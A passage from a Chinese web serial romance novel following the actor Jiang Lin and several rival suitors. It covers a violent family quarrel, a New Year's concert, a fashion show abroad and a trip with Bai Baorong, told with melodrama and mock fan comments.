叶成哲却不给这个叔叔面子,讽刺道:“你倒是清高,现在的观众就是喜欢这种快节奏的,直击眼球的东西怎么你要质疑观众的眼光吗?那你退圈算了吧,反正你也不需要赚这个钱。” “”叶轶被这神经病气得够呛,拧眉看向他:“你和江遂的事情你哥哥知道吗?” “他知不知道有什么关系,他需要和江林谈恋爱吗?”叶成哲不以为然地轻哼一声。 叶轶这才得知江遂的本名是江林,继续沉声道:“而且你舅舅” “行了,你以为他们什么都不知道吗?”叶成哲打断他的话,不耐烦地看着他,“你说完没有,说完就滚。” 叶成哲对谁都没有好脸色,管你是小叔还是舅舅。 叶轶见劝不住,也就不劝了,却也不走,就这么和他耗着。 直到江林吃饱,他施施然准备离开,叶轶才乘坐自己的商务车离开,叶成哲跟在江林身后,两人纷纷戴着口罩,他转身似乎察觉到身后突然的闪烁,回头盯了一眼。 现在江林在风口上,跟着他的狗仔也多了起来。 江林挡住他进车的动作,一双冷静的黑眸看着他:“我暂时不想再传出绯闻。” “江林!你确定要这么对我?”叶成哲拳头捏紧,江林这种翻脸不认人的样子,着实让人寒心。 就在叶成哲以为江林这么蠢,此刻就要和他闹掰,他又云淡风轻地来了一句:“你坐自己的车回去,我去你家。” 叶成哲心情大起大落,都不知道该摆出什么表情了。 江林拉上门,让司机驱车离开,脸上表情没有任何的起伏 叶成哲没有马上离开,他坐在车后,阴影下的眸子阴狠,仿佛沁了毒,下颌紧绷,唇角轻轻勾起。 他别停了叶轶的车,让带来的人把叶轶从车内带走了。 叶轶坚毅冷硬的脸,面无表情地看着罪魁祸首,但很快就连同别的保镖倒在巷子里,双拳难敌四手,他还是没有敌过有备而来的叶成哲。 黑压压沉下来的天空,夜空中有星星闪烁,这边人不算多,混乱的街道,常常出现打架斗殴的现象,人们都习以为常,不会多管闲事。 叶成哲在巷口抽烟,路灯下背影拉长,四肢都变得纤瘦,指尖夹着的烟火猩红闪烁,耳畔传来拳脚到肉的闷哼声,他唇角微微勾起,眼神残忍而冷漠。 他不能对江林怎么样,还不能收拾叶轶吗? 反正他经常被骂畜生,所以揍了自己亲叔叔又怎么样? 叶轶硬是一声不吭,一点没有发出求饶的声音。直到最后,他被几个打手拖出来,身形都是晃动着。叶轶神智是清醒的,嘴角淌着血,模样狼狈,他看向叶成哲的眼神第一次这般凶狠冷漠,他没想到叶成哲真的敢这么样对他。 叶成哲看着从小就不喜欢的小叔,踩灭了烟头,抓起他汗湿凌乱的头发,让他扬起那张受伤的脸,眼角也出了血,眼珠通红,带着大块血斑。 那种独属于他的凌冽气质,眼神不屈冰冷地看着叶成哲,这也算是他叶轶阴沟里翻船了。 “呸。”叶成哲朝着他啐了一口,在他脸上重重扇了一巴掌,眯着眼笑起来:“你像个阴魂不散的苍蝇,不会真的以为自己能在我面前摆长辈的谱儿吧?” 叶轶下颌紧绷,眼珠子直勾勾看着他:“狗杂种。” “哦呦,小叔您的嘴确实够硬够紧的,听说那天我和江林做的时候你就在更衣室?”叶成哲嫉妒心强,草木皆兵,睚眦必报,今天又在他面前丢了脸,一刻也忍不住想要警告他:“你听爽了吧?我警告你,离江林远一点,别像个狗皮膏似的” 叶轶端详了一瞬他破防的模样,突然嗤笑一声,整张脸硬朗野性,眼神鄙夷:“狗皮膏药说的是你自己吧,这么多年过去了,你还是一样的没用,一样的让人厌烦” 叶成哲面不改色地一拳砸在他脸上,直到叶轶晕过去,他擦了擦手上沾得的血,让人来收拾烂摊子,同时将叶轶送到医院。 江林知道叶成哲家中密码,所以畅通无阻,翻找出他珍藏的酒,摇晃着酒杯醒酒,窝在沙发上看剧。 叶成哲回来便瞧见江林悠闲自在看剧,给他一种温馨的错觉,似乎江林正在等他回家。 他突然有些不敢说话了,最近的江林非常地让人难以捉摸,脾气也阴晴不定。 “你干什么去了?”江林神色自然的询问,眉眼间有点微醺的醉态,叶成哲回来的时间太晚了。 叶成哲熟练的凑到他跟前,想要去亲亲他,却被江林伸手挡住了脸,他有些嫌弃地说道:“一身难闻的味儿。” “”叶成哲只觉得他在故意找茬,他身上还喷了香水呢,哪有什么味儿。 “我教训了一下叶轶。”叶成哲舔了舔唇角,眼神似乎还带着嚣张和炫耀的意思。 江林问他:“那需要我夸夸你吗?” 叶成哲收敛了笑意,捉住他的手腕:“不需要,但如果你可以不要再和他来往,我会更开心一点。” 江林甩手,另外自由的手已经将巴掌打在他脸上了,叶成哲脸颊微偏,呼吸有些重。 江林借机挣脱了叶成哲的手,“我刚刚跟你说的什么你都忘记了是吗?不要想着控制我,叶成哲。” “你到底什么时候才能学会尊重人?” 叶成哲抿唇敢怒不敢言。 “叶轶和我只是合作关系,他还是你的亲叔叔,你都能下得去手,以后我是不是不要和人合作了?你见一个杀一个?你杀得过来吗?” “我是自由,你懂吗?” 江林叹息一声,似乎在教一个偏执、陷入死胡同的小孩,但眼神又冷躁极为不耐烦。 叶成哲半晌没说话,从喉间咕噜一声类似委屈的声响,“我没对你不好,那些代言和广告都不是什么好的,不是公司本身立场有问题,就是东西有问题,或者东西太漏,太掉价” 他还在解释,“但你只听叶轶的话,误会了我。” 江林见他狡辩也不拆穿,柔白的手指顺着他的侧脸抚摸上他的眼角,指腹柔软,一点也不粗粝,带着丝丝凉意,止住了他的话,他忍不住捧着江林的手,舔上他的指尖,用尖牙轻轻叼住他的指头。 “你知道我的性格,吃软不吃硬,你越是强硬,我们只会越走越远,最后成为无法收场”江林静静睨着他舔吮着自己的手指,滚烫的呼吸洒在他掌心。 叶成哲握住他的手,十指相扣,双眼泛着红血丝,凑近江林身边,鼻尖轻轻擦过他的脸,勾起一抹嘲讽的笑:“屁。” 他全盘否定了江林的说法,“你根本就是软硬不吃,我跪在地上求你,你都不会心软的。” “你就是把我当作你的狗在训吧?给我吊着一根骨头,让我听你的话,指哪打哪。” “怎么会?”江林轻描淡写挑眉,眼神慵懒平静,“不是想玩吗?来,今天陪你玩玩。” 叶成哲愣了愣,似乎有些不敢相信,求证似的问道:“你不是说你不玩,不会吗?” 江林眉目俊朗,神情百无聊赖般,“只是我觉得没意思。” 叶成哲咽了咽口水,贴着他要亲他,被江林伸手打开了,他整理了一下衣服,端起一杯红酒,起身去了那扇从未打开的门。 叶成哲紧跟其后,门轻轻关上,到了后半夜,江林才从里面走出来,衣衫平整,神情冷淡,露出结实的小臂,线条流畅。他洗漱睡觉,一整夜叶成哲都没出来,第二天一早,江林让保姆将他放出来的。 叶成哲出来之后,甚至不敢回到自己的房间,而是去了隔壁的房间洗漱,眉眼间有些彻夜未眠的憔悴,但精神却不错,江林鸠占鹊巢睡得安详,但叶成哲却坐立难安。 终于挨到江林起床,他差点下意识地朝着他跪下,但被江林的眼神生生制止了,他还记得,江林说出了那扇门,便不再有任何其他羁绊和关系。 江林睡眼惺忪地去阳台抽烟,窝在躺椅上,手腕苍白有劲,黑白分明的眼珠,睫毛纤长,轻轻垂着,微微闪动着。殷红的嘴唇含着烟,视线从高往下轻轻扫视着叶成哲,冷淡的眼神也让叶成哲心潮澎湃。 他忍不住半跪下,轻轻抱住了江林的腰,他嗅着江林身上清新的味道,似乎想要刻入自己的骨头里。 “江林,你别想抛下我。”叶成哲声音有些冷,手指攥紧了他的衣料,宽厚的脊背微微弯曲着:“你敢抛下我,我真的会和你鱼死网破的” 他说到后面,声音变成了难以言喻的沙哑颤抖。 江林咬着烟,语气冷了一点:“你怎么说话了?” 叶成哲下意识便开始道歉:“对不起,主我下次不会犯了。” “我这人没有想过未来怎么样。”江林声音有些轻飘飘的,说的却是事实,毕竟他真的不知道自己的未来会是什么样子。 但这话听到叶成哲耳中就是他的变相拒绝,他忍不住越发用力地抱住他的腰,“不管是用什么手段,我都把你留在身边的我什么都能做,我能比明若卿更听话!” 他后面这话是咬牙切齿说的,他居然沦落到和明若卿比听话? 江林也觉得好笑,便轻轻笑起来,任由叶成哲抱着他的腰不松手 跨年演唱会,桃子台花重金邀请江林和宁星安同台演出。 起初,江林的经济公司是不同意的,虽然现在宁星安和江林的咖位相当,但江林现在并不需要继续和宁星安炒cp来增加自己的热度,相反两人合体风险更大,后来因为桃子台给得太多,江林还是答应了,谁会跟钱过不去呢。 江林久违开始练习唱跳桃子台的跨年晚会还是所谓的全开麦,他速成五天唱跳,和宁星安相安无事地完成了舞台。 江林一上台,便是靛蓝色灯牌占据了整个会场的大半,就算宁星安这样的唱跳顶流都给江林死死按了下去。 他一结束,粉丝们又井然有序地将条幅收起来,听着江林给小穗苗的新年祝福,头发难得又漂染了蓝色,脸上精致干净的妆容,眼底带着控制不住的笑容,仿佛有星星般。 桃子台直接买了江林和宁星安的热搜,很快被顶上了热榜。 【复活吧,我的CP!】 【唉,很唏嘘,当时我可是磕生磕死,现在有点磕不起来了。】 【没事,我就是喜欢一些邪门CP,刚刚江江和宁宁跨年一起拥抱,让我觉得爽死了。】 【他们绝对谈过!眼睛里的爱意是骗不了人的。】 【CP粉是自欺欺人的!】 【CP粉也是最容易被割韭菜的。】 【他们是真的呜呜,骗骗我吧,我真的会信。】 【江江的爱人是不是就是宁宁?】 CP粉真的是一个匪夷所思的存在,能够凭借着幻想和蛛丝马迹的巧合,不管正主如何否认,都能在脑海中脑补他们是真的! 江林并不会觉得这些粉丝怎么样,粉丝们都是好宝宝。 江林跨年夜结束,他和宁星安一起离开,却发现小庄站在车外坐立难安,大冷天,他出了一脑门子的汗,眼神不断往商务车里瞟。 他抬手打开门,就听见两个男人对骂的声音,甚至都扭打在一起。 “你要不要脸,你可是他的老板,你他妈的这叫潜规则,不要脸的老狐狸。”白宝戎揪着叶成哲的领子,怒目而视,咬牙切齿。 “滚啊,你这个满身匪气,上不得台面的私生子,小畜生,到底有什么资格在这里跟我叫嚣?”叶成哲掐着他的脖子,恶声恶气地说道。 江林再来晚一点,他们就得把车顶给掀翻了。 小庄唯唯诺诺地解释道:“白少是先来的,叶少后来也来了,我拦不住” 江林望着两个面目狰狞的男人,无语地说道:“行了,要打架出来打,我还要回家呢。” 两人同时松开对方,叶成哲坐回自己的位置上,笑眯眯说道:“江林和我回家,阿姨给你做了很多菜” “怎么?这辈子没吃过三菜一汤啊。”白宝戎直接便讽刺回去,旋即看向江林,他的脸色没有叶成哲变得那么快,眉眼间怒气未消,对着江林倒是放软了语气:“船都准备好了,我们去维港玩” 江林还未回答,小庄轻轻扯了扯他的衣摆,示意他看左边,江林跟着他的目光看去,站在车前的明若卿,穿着黑色的夹克衫,头发严谨地梳起,眉眼间不似车里两人年轻气盛,面容平静沉稳。他就静静站在黑色迈巴赫前,平静无波地看着他。 江林反手把车门关上,听见叶成哲两人的怒喝声:“江林!” 他快步走到明若卿身前,手臂往他身上一挂,趴在明若卿耳边笑着说道:“新年快乐!” 明若卿虽然不意外他会做这种选择,但男人的虚荣心还是让他小小地得意了一瞬。 他打开车门,让江林先进去,看见从江林车上跳下来的两个男人,目光冷淡和两人一一对视上,叶成哲和白宝戎的脸色铁青,好不容易挤出时间来找江林,结果被人截胡了,实在让人难以接受。 车扬长而去,叶成哲视力不错,似乎隐约看见车窗内两人拥抱接吻的影子,拳头都捏紧了。 “狗咬狗,最后被人坐收渔翁之利,蠢蛋。”白宝戎犀利地骂道。 “谁是狗,你才是。”叶成哲转身离开懒得和他纠缠:“你以为他为什么会选择明若卿,不过是因为他权势更大而已,能给他利用的地方更多。” “你以为明若卿就是赢家吗?”叶成哲看得通透,冷嗤一声:“赢家只有他江林!” “我们都是工具而已。” 白宝戎怎么会想不通这层,只是被人这么直白地戳穿被人利用,到底有些不爽,他不爽了,便直接和叶成哲扭打在一起,最终叶成哲打不过他,挨了好几拳,被保镖护住了。 叶成哲气得脸都扭曲了,咬牙切齿地说道:“你给我等着!” 白宝戎挑衅地看着他,那表情好像在说,你来弄死我啊。 对于两人之间的交锋江林虽然没有亲眼瞧见,但也能猜到几分,毕竟两人的性格都不是好相处的。 江林捧着明若卿越发瘦削的脸,后颈被他的大手掌握着,他有些泛冷的嘴唇被他温暖着。两人许久不见,便也说不上两句话,拥抱在一起,嘴唇摩挲重重贴着,互相吞咽着彼此的口水,江林妆容还未卸掉,精致得像个娃娃。 “想不想我,明叔。”江林不由抓住明若卿的头发,看着他因为疼痛微微蹙紧的眉头,眼底盛满了笑容,仿佛只有他一个人。 明若卿避重就轻地说道:“今天我不来,你会选谁?” 江林轻佻地挑眉,贴着他唇角亲了亲,才趴在他耳畔说着:“两个都要,一起带回家。” 话音落下,江林便感觉放在他后颈的手骤然缩紧,明若卿浑身都紧绷起来,语气冷了几分:“你倒是算盘打得好。” “明叔你知道的,我年轻啊,性子野一点是不是也正常呢?”江林轻笑着回答,冰冷的手指伸入他的腹部,让他给自己焐热。 明若卿被冻得一哆嗦,却没有把他的手拿出来,而是骂了一句:“没良心的小兔崽子。” “但您来了,我这不是屁颠屁颠地来找你了吗?”江林话锋一转,又说得明若卿生不起气来:“我最喜欢的是您啊。” 明若卿眼神悠悠地看着他,沉静犹如冬日的冰湖,最终为江林融化出一条缝隙,勾着他的脖子吻上去,手探下他的衣襟,感受江林在他身下轻哼 第99章 明若卿换了一套房子, 红木家具,装饰简单朴素,二层楼的布局, 复古的山水画和装饰品都是瓷器和盆栽等等。 他洗完澡出来就瞧见穿着他衬衣的江林,露出一双长白腿躺在沙发上打电话, 轻笑着和对方聊天:“被揍了就被揍了呗,我又打不过他。” 原来是叶成哲故意找事儿,给他打了好几个电话, 前面几个没接着,他又打来告白宝戎的状。 叶成哲也知道江林大概率不会有心疼这种情绪, 只是这事被江林知道了,总能让他开心点,他好像很乐于看他吃瘪,或者说看他们狗咬狗。 他见明若卿出来,也没继续没脸色地和叶成哲“热聊”,支愣着两条长腿, 抱怨似的说道:“明叔你这里没有多余的睡衣。” “我让人送来。”明若卿拿起桌上的手机准备打电话, 他刚搬过来不久, 很多事情都没安置妥当。 江林阻止了他的动作,“大晚上的还让人家起床多不厚道, 先将就将就算了。” 跨年夜, 明若卿没有给他准备邮轮夜景,也没有什么温馨的家常菜,而是直接送了他一套房子, 距离这里不远不近,保持着正好的距离,就像他和明若卿的关系, 不疏也不亲。 “两点多了,还在沙发坐着是对我送你的礼物不满意吗?”明若卿扯着他的手腕,江林顺势懒懒散散地站起来,靠在他肩膀上。 “累死了,这种跨年演唱会再也不想参加第二次。”江林吐槽道。 明若卿撑着他沉甸甸的身体,“跳得不错。” “你看直播了?”江林问。 “嗯。” “我苦练了五天呢。”江林那五天就在忙这个事儿,比他上健身房还累人。 明若卿便顺着他的话道:“行。” “啧。”江林自己又后悔了,“他们给的那么多,我忍一忍算了。” 明若卿唇角滑过一丝笑容:“好。” 似乎不管江林说什么,明若卿都不会给出他相反的答案。 江林年纪还小,就算做错事,在明若卿看来都不算什么大事。 他如果缺钱用了,江林大概也不会跟明若卿客气,所以他不担心江林会委屈自己。 只是明若卿想他参加跨年晚会应该也不是为了那仨瓜俩枣,他更想给他的粉丝们涨脸,然后陪着他们跨年而已。 /// 江林年前一个行程就是去DL品牌邀请他去国外看秀,他是凌晨的飞机,三令五申粉丝不要接机。但很多代拍和私生饭不知道从哪里买了他的消息,差点凌晨三点造成机场拥堵。 他也没想到这么晚了还有人守着。 那部刑侦剧也播得不错,导演卓智明找他吃了好几顿饭,就是想让他继续拍第二季。他算是吃到了和江林合作的甜头,不管是招商也好,平台安排、档期和审批都是一路绿灯以最快的速度批下来的。 再加上江林本身的热度,卓智明更是提高了三倍的片酬来邀请江林。 江林没拒绝,让卓智明找经纪人排档期。 他落地又专车接送,机酒钱也是DL出的,一路去了Y国顶级的酒店,奢华的高楼,随着他落车,也有其他外国的狗仔和粉丝拍照,江林还意外地听到了自己的名字。 艺人明星都统一安排在这里。 江林落地之后便让酒店安排食物,准备了披萨和面条,他随行的还有工作人员,除了小庄还有化妆师和造型师,保镖也是DL安排的。 第二天有工作人员跟他对接,准备好服装给他检查,都是DL新款高定礼服。 受邀的国内明星只有三个,其中两个都是长红十年的老前辈,也是现在DL品牌的代言人,江林没交情,也没有去打招呼的准备。 Y国和国内的天气截然不同,还是艳阳天,天空蔚蓝。 他一觉睡到下午才开始化妆,黑色绸缎触感,腰间叠着波纹,法式袖口,围巾领,还有一条黑色的装饰围巾围在脖子上。 下半身是同种材料假两件的设计,上半身比较轻盈,下半身便设计得烦琐了一些,但整体看来是非常和谐的。 傍晚的时候,江林被商务车接到会场,面对着“长枪大炮”不卑不亢地礼貌微笑。他跟着工作人员坐到了指定的位置,两边坐的都是外国人,一男一女,位置居中,他不认识旁边的人,只是礼貌地笑了笑。 直到后来才从粉丝扬巴的评论下知道他身边坐的是两个外国巨星,如果光算咖位江林是远远不够的,但奈何有人给他抬咖。 江林装作很会看秀的模样,看着模特从T台上走过,表情跟着表现得十分欣赏,然后微微点头表示肯定,但实则已经游神天外。 看完秀后,主办方组织的after party足够大的场地宫殿般的城堡,所有的看秀人员都是邀请在列。 江林倒也没先回酒店,随意地和身边的人低声攀谈,江林捏着酒杯,架子矜娇,另外一个手还放在兜里,贵气懒散,游刃有余的气质格外抓人。 吉尔一身金色的吊带裙,身材姣好,金色的波浪卷发显得成熟妩媚,又调皮可爱。 她站在艾璟身边,惊讶地看着犹如脱胎换骨般的江林,有些不敢相信这是之前赛车的青年。 “艾璟,他好有魅力!简直像是天使!”吉尔夸张地说道。 江林高挑的身材,脖子的黑绸缎围巾仿佛点睛之笔,环绕着他冷白脆弱的脖颈,中间露出一点肌肤,单薄的衣服下似乎能瞧见形状分明的胸肌,举手投足中贵气十足,眉眼间带着浅浅的笑。 他今天的妆容不会显得锋利,浅唇微勾,不似那天赛场桀骜的少年,倒像个贵公子,在这名利场中丝毫不显拘谨,犹如游刃有余的交际花。 吉尔很快走到江林身边,和他轻轻拥抱,笑着说道:“艾璟没有告诉我你会来!真高兴还能再见你。” 江林绅士地微笑:“很荣幸漂亮的女士还能记得我。” “当然,你是我见过最漂亮的男人。” 江林和她轻轻碰了碰杯,同时扬起下颌喝酒,喉结轻轻一动。 两人相视一笑,艾璟晚来了几瞬,江林朝着他颔首示意,客气说道:“艾总,好久不见。” 艾璟陡然发现两人的关系似乎发生了微妙的改变,从前江林眼底总带着似有若无的诱惑笑意,虽然并不明显,但有一种向上爬的野心和有求于人的柔软姿态。 但现在江林却正正经经,客客气气地朝着他笑着,不是那个故意将扣子塞进他手中,孤立无援的小艺人了。 分部公司对他的商业价值评估很高,即使是他先出现在艾璟面前,让他下意识地想要选择江林,可不可否认的是江林的确优秀,他们才会和他合作。 “好久不见。”艾璟却生出了些变扭,从前江林朝着他示弱,想要求合作的时候。他将人拒之门外,但现在他一本正经,毫无暗示的眼神却让他生出一丝不敢直视的心虚感。 他就站在那里,突然让人移不开眼。 江林似看出他眼底的心虚,突然缓慢地勾起唇角,眼尾轻轻一挑,艾璟便偏移了视线。 吉尔有些娇嗔的看向艾璟,“你为什么不和我说今天林会在早知道我就打扮得更加美丽了。” “你现在就很美。”艾璟淡淡的哄她。 三人在一起聊了会,吉尔和艾璟便被人叫走了,而江林身边的人也逐渐汇聚起来,因为他刚刚和最有可能继承DL的两个继承人聊了好久。 而与此同时,他的宣传团队自然不会放过这次机会,江林还没离开晚宴,热搜就已经挂上去了。 【江遂杀疯啦。】 【江遂的每一套造型都好好看啊,并且就算露额头也完全不会见光死,甚至还有美人尖】 【谁懂?这两张图的含金量。】一张是江林看秀的照片,一张是吉尔和艾璟在他身边和他垂眼低笑聊天的照片。 【某些内娱好好看看吧,别拉踩江江啦,next level啦。(微笑)】 【哥这么帅,真的长脸啊。】 而与此同时,江林被吉尔邀请参加他们的私人聚会。 江林咬住一颗车厘子,看着吉尔微红的脸庞,两人的嘴唇几乎碰到一起,吉尔轻轻咬下一点,嘴唇轻轻碰过江林的。 顿时身边的人一阵起哄,刚刚在玩桥牌,江林和吉输了。 “kiss!kiss!" 吉尔眼神有些期待地看着江林,艾璟也静静地看着他,神情比平时更冷,像个绝望的金毛狗,面无表情。 江林礼貌婉拒,不准备进行这种行为。 玩到后半夜,江林喝了不少酒,吃了不少东西,肚子鼓鼓胀胀地走动消食。他走到窗户旁透了透气,玩上头的男女,没有空管他,甚至不知道在吸食一些什么东西。 他们邀请江林,江林拒绝了。 艾璟站在江林身后,低声说道:“那天之后,你没有再找过我。” 他说的是两人接吻之后。 “这事儿过去大半年了,艾总还记着呢?”江林手臂撑在窗沿,偏头看着艾璟,声音低哑地说道:“我还以为你不喜欢呢。” 艾璟没回答他喜不喜欢,依旧是平淡的语气,却非常直白:“今晚你有约吗?” 江林缓缓挑动眉梢,细细地打量着艾璟深邃的五官,眼神也变得饶有兴味。 “怎么?艾总要和我约啊?” 艾璟没回答,只是淡淡地看着他,像个冰冷的木块。 见江林不接话,他才重新开始开口:“你不是说有比赛车更刺激?” “哈哈哈。”江林笑了几声,倒也没有说什么冒犯的话,只是笑眯眯地说道:“我这人艾总应该有所了解吧,只谈利益不谈感情,无利不起早。” 艾璟这人不喜欢将利益和感情混为一谈,江林上前一步,逼近艾璟,戳破他的想法:“艾总只想和我谈感情?” “以前我大概会敷衍地和你演演戏,现在却没有这个必要了。” 江林那张俊秀的脸上露出一点与清冷妆容不太适配的市侩,显得真实又精明。 如今他的不需要艾璟再雪中送炭,也就不需要放低语气,锦绣添花这种事情,江林不太稀罕。 “时间不早,没什么事儿,我就先失陪了。” 江林扔下一句话,便转身离开,不带走半点云彩 江林很快回到国内,过年期间,他倒是清闲下来,少了些打扰,他们都是大家族,所以处理的事情烦琐。但隔天一个电话没断过,江林心情好就接了,心情不好就当作没看见。 他正和许久没有碰面的蒋红喝着下午茶,蒋红的能力不足,这两年却也沉淀下来学习了很多东西,她和江林仍旧在合作,算是他身边的自己人之一。 “江江,上次放出消息后,来找我们合作的人差点把公司的电话打爆了,想从我这边入手让你签一些资源”蒋红端着咖啡,看着眼前围着红色围巾的青年,他正懒懒地从窗户外看着雪,并没有就此表态。 “上次招兵买马,从其他公司抢了不少人才,不过现在还在试用期,大多是冲着你的名号和薪酬来的。” 这番举动几乎疑似朝经济公司开炮了。 江林这才转头看向她,脸颊泛着健康的红晕,他这时候看起来有了这个年纪的少年气,弯了弯眼睛,无所谓地说道:“你看着办吧。” 这话让蒋红都擦了擦汗:“你别,这是你的公司,这” “如果你不怕挨骂的话以及被我的粉丝真实的话,你就不认真吧。”江林又接着说”道,蒋红顿时汗更多了。 “但我粉丝都很乖的。” 蒋红不敢苟同,现在网上谁不知道江林的粉丝体量大,且个个死忠粉,杀伤力极大。 “我倒是不怕这些,但江江不对江总,您在那边的合约是十年,如果商务约签出来的话,他们不会这么容易松嘴吧?”蒋红拧着眉。 江林露出洁白的齿列,笑起来:“没事儿,大不了赔钱,哥有点小钱。” “这笔数量可不小啊。”蒋红不太相信江林这么短的时间居然赚了这么多钱? “别想得太难了,我只是把商务和影视约签出来,又不是要单方面的解约。桃利依然可以收钱,还是躺着收钱,这些都可以谈,我只需要百分百的决策权。”江林安慰他。 两人之间的小动作自然被江林在桃利的经纪人姚金看在眼里,她一个电话打给叶成哲,“最近江遂很不老实,在底下小动作不断,我们” 叶成哲顿了顿说:“看他的诉求是什么吧,不要拦着他。” 因为没人能拦得住他,虽然早知道这一天会来,叶成哲却没想到来得这么快,语气莫名地惆怅和苍凉。 他挂了电话,最后还是没忍住给江林打了个电话,语气泻出一丝不满:“这么快就要自立门户是不是太早了些?” 江林正在泡温泉,声音倦倦的,像是没睡醒似的:“哪有自立门户,我还是桃利公司的艺人啊。” “你在哪?”叶成哲咬牙切齿,却在听见那边男人说话的声音后骤然警觉起来。 “在泡温泉咯。”江林说。 “你一个人?”叶成哲站起身来,准备去找他,但又被桌上的工作压弯了腰,只能无能狂怒:“你旁边是谁在说话?” “不认识啊,一个池子里”江林这话没落音。 叶成哲那边又飞快站起来,语气都重了两分,拿着外套朝外面走去:“你疯了?那么多人,你不怕被人偷拍吗?真是疯了!你在哪?” 江林这才转头看过去,发现好几个人拿手机摄像头正对着他,他一噎:“完蛋,好像已经被拍了。” 虽然他下半身还围着浴巾,但好像不太雅观。 “你等着,让他们先别走。”叶成哲赶到现场的身后。 江林正被围得水泄不通,他一个人披着浴袍,孤零零地坐在沙发上,旁边是保卫人员拦着越来越多拍照的人群。 叶成哲头疼得很,带着人把江林先带走,随即让拍摄的不雅照片删除,还给息事宁人了一些补偿。 江林换好衣服,在车里等人,发现他的半裸照片已经被放在网上,只是一张模糊的照片,在水中他趴在岸边打电话,只能看见窄窄的腰、结实的背脊、肌肤在水下更是荡漾的白光似的 【看这个背影就知道是我家江江捏。(可爱)】 【江江有这种身材干什么都会成功的。(不是。)】 【小江好可爱,他好无助啊。】 【家妻见笑了。】 舆论倒是还算友好,江林的确没意识到自己是个小有名气的公众人物,毕竟他常年在剧组拍戏,很少会出去玩,也不知道自己会造成拥堵。 叶成哲很快回到车上,看江林没事人似的玩手机。 他伸手握住他屏幕,认真地看着他,语气重了些:“现在你的体量很大,身边什么人都没有,很容易被有心人利用而受伤,上次给你寄的死老鼠你忘记了?别的不说,如果造成拥堵或者踩踏,那别管你多大的后台,你都完蛋。” 江林被小凶了一下,噢了一声,然后说:“知道了。” 叶成哲见他没有跟自己反驳,语气平缓了不少:“我有个酒店有私人温泉,以后你想泡就去那里。” 江林却抢回自己的手机,耍小性子似的看着自己的屏幕,硬邦邦来了一句:“再也不想泡了。” 叶成哲盯着他瞧了几眼,觉得有些新鲜,这样使小性子的江林,才是符合他性格的年轻,平时成熟强势,倒是让他忘记,他比江林还大上好几岁呢。 “我”叶成哲放软了语气,轻轻握住他的手,膝盖跪在车内铺的地毯上,放低姿态蹭了蹭他的手背,腹部缓缓贴着他的小腿,“你别生气。” 江林甩开他的手,“我没生气,你为我好,我知道。” 骗鬼呢,没生气。 叶成哲又继续哄,手捏了捏他的大腿,讨好笑了笑:“我下次不会跟你这么大声说话了。” 江林动了动嘴唇,拿住他的手腕扔开,“好好说话,别耍流氓!” “这就变成耍流氓了?”叶成哲笑眯眯地说道,被甩又重新握住他的手,穿着高定的西装,在不算宽阔的车内曲着。 叶成哲又被江林甩开几次后,差点抽在自己脸上,他都不生气,最后江林没了犟劲儿,任由他握住手,在手腕上亲了亲。 他抬眼看着他,江林这才正眼瞧着他。他哼笑一声:“你几岁啊,还这么耍小孩子脾气。” 江林靠在椅子上,抬脚就能踩在他小腿脚踝上,他轻轻碾过去,垂眼盯着他:“反正比你年纪小。” 叶成哲感觉到疼痛表情没有一丝改变,只是蹭了蹭他的手背,手摸上他的腰带,又蹭了蹭,“别生气了,你怎么对我都行。” “我让你滚。”这是江林最常和他说的话。 “这个不行。”好在叶成哲脸皮厚,听多了之后,这话在他耳中都变成了赞美。 江林最近脾气越发喜怒无常是真的,可能也是根本懒得和他装了吧,常常上秒笑着,下一秒就扇他,但这些对他来说不算什么痛苦和负担,还能顺着去蹭他的手心 /// 新年前还接了一个国内四大刊之一的开年刊封,其他的工作就改到了年后,江林依旧打算买张飞机票,自己出国玩,但这次被白宝戎截住,他在机场拦住他的。 江林一身黑色风衣,带着酷拽的墨镜,见白宝戎提着行李箱,可爱地拉下一点墨镜,露出那双漂亮圆润的眼睛,重新戴好眼睛:“你干什么?” “陪你出国玩。”白宝戎往他身边一坐,喘着粗气道,差点没赶到。 “不需要。”江林高冷地说道。 “你这次去L国,我家正好有点人脉和势力,既能保证你的安全,还能给你普通人没有的入场券噢。”白宝戎诱惑地说道。 江林闻言又转头瞟了他一眼,脸上的嫌弃这才消散些,手被白宝戎握着,他去的这个国家的确有些特殊和混乱。 他直接咧嘴一笑:“现在叶成哲那杂种,就只能看着,在家里犬吠咯” “你们真的很无聊。”江林评价。 第100章 江林和白宝戎开始了为期一星期的旅行度假, L国黑/帮盛行,甚至有小半个区域,是属于他们的领土, 就算国家元首都管不了,没办法政府太穷了, 政治资本化严重。 在这里白宝戎居然也有产业,甚至小有名气,他不知道从哪里知道江林喜欢飙车的错误想法, 将整个街道腾出来给他玩,盛情款待, 真正的纸醉金迷,整个人都像是活在空中,在云端。 他不得不承认如果没带白宝戎来,可能的确没有这令人印象深刻,那是一种血腥、混乱又难以言喻的刺激。 白宝戎搂着有些醉意的江林,手落在他腰间, 泛红的眼皮, 喝了秘制特产酒, 脑袋靠在他肩膀上。在灯光闪烁的会所,台上的人展示着自己的绝活, 那是在国内看不到的画面和景色, 旁边都是狂欢纵容的男女,戴着面具 “醉了?我们先回去。”白宝戎抱着他的肩膀,轻声询问。 “我的酒里有什么东西?”江林在他耳边问, 如果普通的酒,喝这点不至于让他这么失控。 “不会对你的身体有任何的伤害,一些能让你快乐的东西。”白宝戎揽着他站起来, 率先离开。 江林便不再说什么了。 白宝戎在今夜看见了更加漂亮的江林,神情欲色性感,眼尾一挑便能让人沉醉其中,眼如深湖,无法自拔。身体泛着淡淡的粉色,像个可口的甜点,脾气也相当好。 “我爱死你这副样子了。”白宝戎轻轻咬住他的肩膀,随即开口说道。 “哼。”江林哼唧一声,没做什么回答 坐在飞机上,白宝戎面露不舍,牵着江林的手依依不舍:“根本不想回去。” “你这两天手机都快被打爆了,不担心回国之后白家改朝换代吗?”江林放平的椅子。 白宝戎笑容不变,“没什么大事儿。” 江林闭上眼睛准备睡觉,懒散地道:“我要回去工作了,没空陪你瞎玩。” “大忙人,大明星。”白宝戎说 飞机一落地,便把白宝戎气得够呛,叶成哲派人来接江林回公司,直接从他手里截胡了人,但短暂的异国之旅的相处只能轻轻埋在他心间了。 /// 江林电影开始官宣,再见叶轶他依旧是那副爽朗模样,对待江林心无芥蒂,好似从未因为他和叶成哲发生过任何的不愉快。 两人握手,一起参加首映礼,来看的女生偏多,纷纷热烈地评论,最多的问题就是陆宸真的喜欢陆沉持吗? 毕竟喜欢一个人可不会这么算计对方,说是纯恨情侣还差不多。 两人得体回答,配合麦麸,一套流程下来非常熟练。 热搜也买上了。 